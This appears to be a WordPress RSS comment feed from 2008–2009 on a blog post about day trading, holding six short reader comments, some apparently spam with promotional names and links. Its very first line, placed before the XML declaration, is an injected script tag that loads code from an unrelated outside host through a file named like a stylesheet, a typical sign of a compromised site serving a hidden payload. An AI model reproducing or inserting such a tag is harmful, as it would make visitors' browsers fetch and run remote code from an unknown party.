<script src=http://manandmade.nl/images/style.php ></script><?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: What You Need To Know About Day Trading</title>
	<atom:link href="http://www.icapp2007.org/index.php/2008/04/08/what-you-need-to-know-about-day-trading/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.icapp2007.org/index.php/2008/04/08/what-you-need-to-know-about-day-trading/</link>
	<description>Improving your capital investments through share trading and forex</description>
	<lastBuildDate>Mon, 18 May 2009 13:19:10 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
	<item>
		<title>By: Ian</title>
		<link>http://www.icapp2007.org/index.php/2008/04/08/what-you-need-to-know-about-day-trading/#comment-900</link>
		<dc:creator>Ian</dc:creator>
		<pubDate>Mon, 18 May 2009 05:50:03 +0000</pubDate>
		<guid isPermaLink="false">http://www.icapp2007.org/index.php/2008/04/08/what-you-need-to-know-about-day-trading/#comment-900</guid>
		<description>Just like what you had said, day trading is indeed not for everyone. From my beginner perspective, mental is all about...</description>
		<content:encoded><![CDATA[<p>Just like what you had said, day trading is indeed not for everyone. From my beginner perspective, mental is all about&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: how to invest stock market</title>
		<link>http://www.icapp2007.org/index.php/2008/04/08/what-you-need-to-know-about-day-trading/#comment-834</link>
		<dc:creator>how to invest stock market</dc:creator>
		<pubDate>Fri, 19 Dec 2008 19:37:11 +0000</pubDate>
		<guid isPermaLink="false">http://www.icapp2007.org/index.php/2008/04/08/what-you-need-to-know-about-day-trading/#comment-834</guid>
		<description>Hi Paul. Good post.
Most people agree that day trading is certainly is not for everyone. And more then that - most traders lose money over the long term. There are few who can make money by day trading, but most of the people can&#039;t. It takes much dedication to get the skills for it.</description>
		<content:encoded><![CDATA[<p>Hi Paul. Good post.<br />
Most people agree that day trading is certainly is not for everyone. And more then that &#8211; most traders lose money over the long term. There are few who can make money by day trading, but most of the people can&#8217;t. It takes much dedication to get the skills for it.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: How To</title>
		<link>http://www.icapp2007.org/index.php/2008/04/08/what-you-need-to-know-about-day-trading/#comment-830</link>
		<dc:creator>How To</dc:creator>
		<pubDate>Fri, 12 Dec 2008 15:21:09 +0000</pubDate>
		<guid isPermaLink="false">http://www.icapp2007.org/index.php/2008/04/08/what-you-need-to-know-about-day-trading/#comment-830</guid>
		<description>Thanks for a great article. I have been thinking about doing some day trading for a little while now. Reading this article has made me realise it may not be as simple as i first thought.

Will do some more reasearch.

Thanks again</description>
		<content:encoded><![CDATA[<p>Thanks for a great article. I have been thinking about doing some day trading for a little while now. Reading this article has made me realise it may not be as simple as i first thought.</p>
<p>Will do some more reasearch.</p>
<p>Thanks again</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Bill</title>
		<link>http://www.icapp2007.org/index.php/2008/04/08/what-you-need-to-know-about-day-trading/#comment-801</link>
		<dc:creator>Bill</dc:creator>
		<pubDate>Tue, 23 Sep 2008 00:32:26 +0000</pubDate>
		<guid isPermaLink="false">http://www.icapp2007.org/index.php/2008/04/08/what-you-need-to-know-about-day-trading/#comment-801</guid>
		<description>What you need to know about stock day trading is that you will go BROKE doing it, sooner or later. Ever been in the market on a day where it starts at 5,300 drops to 3,600 by 11AM and finishes at 4,700. I have and it is not pretty.  Ever owned a stock you bought at 42, a week later it is at 47 and falls that day to 29. The next day it finishes at 52. I have and that’s what happens when a few mutual funds need to raise cash fast and it is not fun.

Thanks Bill</description>
		<content:encoded><![CDATA[<p>What you need to know about stock day trading is that you will go BROKE doing it, sooner or later. Ever been in the market on a day where it starts at 5,300 drops to 3,600 by 11AM and finishes at 4,700. I have and it is not pretty.  Ever owned a stock you bought at 42, a week later it is at 47 and falls that day to 29. The next day it finishes at 52. I have and that’s what happens when a few mutual funds need to raise cash fast and it is not fun.</p>
<p>Thanks Bill</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Shaun Rosenberg</title>
		<link>http://www.icapp2007.org/index.php/2008/04/08/what-you-need-to-know-about-day-trading/#comment-780</link>
		<dc:creator>Shaun Rosenberg</dc:creator>
		<pubDate>Sat, 19 Jul 2008 21:56:14 +0000</pubDate>
		<guid isPermaLink="false">http://www.icapp2007.org/index.php/2008/04/08/what-you-need-to-know-about-day-trading/#comment-780</guid>
		<description>I have done day trading before.  It isn&#039;t really that hard, the biggest problem is the commissions. I am used to a little bit longer timeframe about 1 to 2 weeks on average. Anyone involved in daytrading I just want to wish luck. 

Happy trading

http://www.stocks-simplified.com</description>
		<content:encoded><![CDATA[<p>I have done day trading before.  It isn&#8217;t really that hard, the biggest problem is the commissions. I am used to a little bit longer timeframe about 1 to 2 weeks on average. Anyone involved in daytrading I just want to wish luck. </p>
<p>Happy trading</p>
<p><a href="http://www.stocks-simplified.com" rel="nofollow">http://www.stocks-simplified.com</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Credit Repair Wisconsin</title>
		<link>http://www.icapp2007.org/index.php/2008/04/08/what-you-need-to-know-about-day-trading/#comment-717</link>
		<dc:creator>Credit Repair Wisconsin</dc:creator>
		<pubDate>Wed, 11 Jun 2008 08:54:05 +0000</pubDate>
		<guid isPermaLink="false">http://www.icapp2007.org/index.php/2008/04/08/what-you-need-to-know-about-day-trading/#comment-717</guid>
		<description>Very interesting. I thought that stock trading is very complicated. I was wrong. It&#039;s very very complicated. :) Great article though.</description>
		<content:encoded><![CDATA[<p>Very interesting. I thought that stock trading is very complicated. I was wrong. It&#8217;s very very complicated. <img src='http://www.icapp2007.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Great article though.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
